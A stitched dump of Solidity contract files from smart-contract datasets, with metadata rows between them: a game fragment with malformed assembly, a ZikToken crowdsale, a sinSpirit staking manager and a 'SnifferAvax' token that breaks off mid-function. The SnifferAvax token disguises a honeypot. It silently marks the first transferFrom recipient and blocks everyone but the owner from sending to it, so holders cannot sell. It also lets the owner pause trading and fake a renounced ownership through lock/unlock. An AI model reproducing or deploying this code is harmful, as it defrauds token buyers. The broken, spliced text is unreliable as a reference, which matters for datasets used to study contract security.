function setTeleportPrice(uint price) public onlyOwner {
teleportPrice = price;
}
function setProtectionPrice(uint price) public onlyOwner {
protectionPrice = price;
}
function toUint32(bytes b) internal pure returns(uint32) {
bytes32 newB;
assembly {
newB: = mload(0x80)
}
return uint32(newB);
}
}
| 184,082 | 1,787 |
32285bc95420849d2514c49d99fcb6866644251e1975231f20ffb49f1a943f73
| 31,909 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9a9b66b59000e10f4234cd7101bc19aabd1f5c17.sol
| 4,319 | 16,676 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// ERC20 ------------------------------------------------------------------------------
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
// Lock -------------------------------------------------------------------------------
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
}
// Crowdsale --------------------------------------------------------------------------
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private _tokenWallet;
constructor (address allowanceWallet, uint256 rate, address payable wallet, IERC20 token) public
Crowdsale(rate, wallet, token)
{
require(allowanceWallet != address(0));
_tokenWallet = allowanceWallet;
}
function tokenWallet() public view returns (address) {
return _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)));
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount);
}
}
//-------------------------------------------------------------------------------------
contract ZikToken is ERC20Capped, ERC20Detailed {
constructor() public
ERC20Detailed("Ziktalk Token", "ZIK", 18)
ERC20Capped(1e27)
{
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
| 211,229 | 1,788 |
894b8aeff2f0bf807c089299838e830d4d6d8b54148dca5bd54e7223a0e8bca4
| 25,134 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8e/8e389bA7Be49dB72514034614d1FeE2f7e1c1eC3_sinSpiritManager.sol
| 3,604 | 13,762 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface ISinSpirit{
function mint(address,uint256) external;
function burn(address,uint256) external;
}
interface ISinSpiritStrategy{
function balanceOfInSpirit() external view returns (uint256);
function deposit(address, address) external;
function withdraw(address) external;
function withdraw(address, address, uint256) external;
function withdrawAll(address, address) external;
function createLock(uint256, uint256) external;
function increaseAmount(uint256) external;
function increaseTime(uint256) external;
function release() external;
function claimSpirit(address) external returns (uint256);
function claimRewards(address) external;
function claimFees(address,address) external;
function setStashAccess(address, bool) external;
function vote(uint256,address,bool) external;
function voteGaugeWeight(address,uint256) external;
function balanceOfPool(address) external view returns (uint256);
function operator() external view returns (address);
function execute(address _to, uint256 _value, bytes calldata _data) external returns (bool, bytes memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sinSpiritManager {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant spirit = address(0x5Cc61A78F164885776AA610fb0FE1257df78E59B);
uint256 private constant MAXTIME = 4 * 364 * 86400;
uint256 private constant WEEK = 7 * 86400;
address public feeManager;
address public strategy;
address public sinSpirit;
uint256 public incentiveSpirit = 0;
uint256 public unlockTime;
constructor(address _strategy, address _sinSpirit) public {
strategy = _strategy;
sinSpirit = _sinSpirit;
feeManager = msg.sender;
}
function initialLock() public {
require(msg.sender == feeManager || msg.sender == address(this), "!auth");
uint256 unlockAt = block.timestamp + MAXTIME;
uint256 unlockInWeeks = (unlockAt / WEEK) * WEEK;
//release old lock if exists
ISinSpiritStrategy(strategy).release();
//create new lock
uint256 spiritBalanceStrategy = IERC20(spirit).balanceOf(strategy);
ISinSpiritStrategy(strategy).createLock(spiritBalanceStrategy, unlockAt);
unlockTime = unlockInWeeks;
}
//lock more spirit into the inSpirit contract
function _lockMoreSpirit(uint256 _amount) internal {
if (_amount > 0) {
IERC20(spirit).safeTransfer(strategy, _amount);
}
//increase amount
if (_amount == 0) {
return;
}
uint256 _strategyInSpiritBalance = ISinSpiritStrategy(strategy).balanceOfInSpirit();
if (_strategyInSpiritBalance > 0) {
//increase amount
ISinSpiritStrategy(strategy).increaseAmount(_amount);
} else {
initialLock();
}
}
//deposit spirit for sinSpirit
//can locking immediately or defer locking to someone else by paying a fee.
//while users can choose to lock or defer, this is mostly in place so that
//the cvx reward contract isnt costly to claim rewards
function deposit(uint256 _amount) external {
require(_amount > 0, "!>0");
//lock immediately, transfer directly to strategy to skip an erc20 transfer
IERC20(spirit).safeTransferFrom(msg.sender, address(this), _amount);
_lockMoreSpirit(_amount);
if (incentiveSpirit > 0) {
//add the incentive tokens here so they can be staked together
_amount = _amount.add(incentiveSpirit);
incentiveSpirit = 0;
}
ISinSpirit(sinSpirit).mint(msg.sender, _amount);
}
function depositAll() external {
uint256 spiritBal = IERC20(spirit).balanceOf(msg.sender);
_deposit(spiritBal);
}
function _deposit(uint256 _amount) internal {
require(_amount > 0, "!>0");
//lock immediately, transfer directly to strategy to skip an erc20 transfer
IERC20(spirit).safeTransferFrom(msg.sender, address(this), _amount);
_lockMoreSpirit(_amount);
if (incentiveSpirit > 0) {
//add the incentive tokens here so they can be staked together
_amount = _amount.add(incentiveSpirit);
incentiveSpirit = 0;
}
ISinSpirit(sinSpirit).mint(msg.sender, _amount);
}
}
| 326,691 | 1,789 |
b37846c43e6df08b1062b077763fee39a6b543162b6f4adea59c6b3b4f20d4c6
| 22,855 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e2/e23323c7a7365F3Fd65f97501e2B11a02a89Ea25_SnifferAvax.sol
| 3,102 | 11,768 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract SnifferAvax is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000000 * 10**9;
string private _symbol = "SnifferAvax";
string private _name = "SnifferAvax";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
